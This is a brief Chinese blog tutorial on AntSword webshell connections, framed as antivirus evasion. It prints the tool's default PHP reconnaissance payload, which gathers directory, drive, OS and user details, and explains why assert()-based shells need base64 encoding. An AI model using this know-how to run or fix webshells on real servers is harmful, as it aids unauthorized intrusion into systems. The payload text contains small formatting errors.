本文主要是介绍蚁剑连接两个形式--免杀,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
base64:
default:
这里简单来说就是eval函数中参数是字符,如:eval('echo 1;');assert函数中参数为表达式 (或者为函数),如:assert(phpinfo())
我们将默认编码解码看看
@ini_set("display_errors", "0");
@set_time_limit(0);function asenc($out) {return $out;
};function asoutput() {$output = ob_get_contents();ob_end_clean();echo "97a7a";echo @asenc($output);echo "777a7fdcd7c";
}
ob_start();
try {$D = dirname($_SERVER["SCRIPT_FILENAME"]);if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);$R = "{$D} ";if (substr($D, 0, 1) != "/") {foreach(range("C", "Z") as $L) if (is_dir("{$L}:")) $R. = "{$L}:";} else {$R. = "/";}$R. = " ";$u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";$s = ($u) ? $u["name"] : @get_current_user();$R. = php_uname();$R. = " {$s}";echo $R;;
} catch (Exception $e) {echo "ERROR://".$e - > getMessage();
};
asoutput();
die();
大致的意思会输出一些内容 随机字符串+环境变量+随机字符串,如果用eval代替assert是完全没问题的,我查了下资料,assert是不能执行多个语句的,eval可以,所以这里使用assert会有返回为空的问题。
这个问题可以使用base64编码的问题解决,编码后的数据包,可以看到ant这个参数传入的是一句话,因此就可以通过assert执行成功。
这里就是蚁剑使用assert的shell的一个坑,如果使用assert不要使用默认编码。
这篇关于蚁剑连接两个形式--免杀的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!